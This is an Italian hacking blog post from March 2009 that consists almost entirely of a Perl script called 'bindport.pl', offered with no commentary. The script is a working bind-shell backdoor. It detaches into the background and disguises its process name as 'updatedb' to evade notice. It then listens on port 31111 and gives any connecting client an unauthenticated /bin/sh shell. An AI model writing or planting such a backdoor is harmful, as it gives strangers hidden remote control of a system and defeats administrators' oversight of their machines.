Simple Binding of port: bindport.pl

10 Marzo 2009

#!/usr/bin/perl

$port = 31111;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
    accept(X, S);
    unless(fork)
    {
        open STDIN, "<&X";
        open STDOUT, ">&X";
        open STDERR, ">&X";
        close X;
        exec("/bin/sh");
    }
    close X;
}

Entry Filed under: Hacking, Perl. .

Leave a Comment

Required

Required, hidden

Some HTML allowed:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <pre> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Trackback this post  |  Subscribe to the comments via RSS Feed


Calendario

Marzo: 2009
L M M G V S D
« Feb   Apr »
 1
2345678
9101112131415
16171819202122
23242526272829
3031  

Archivi

Categorie

Arch Bash Boot Brute force C/C++ Cracking Fluxbox Hacking How-to Ipv6 irssi Kernel Linux Multimedia Openbox Penetration Test Perl Recovery & Backup Reti LAN Samba Sicurezza Slackware TCP/UDP/ICMP Tips Xorg

Post più letti

Commenti Recenti

ax su Conversione “webcam-stre…
evil su Conversione “webcam-stre…
Fextfeets-online su Estrarre archivi Ace, Rar, Iso…
ax su Ricompilazione Kernel 2.6…
Jessica-online su Ricompilazione Kernel 2.6…

Stats

GNU/linux page

Login

RSS Slackware Advisories

RSS Archlinux Package Updates

RSS Latest Linux Kernel

Antipixel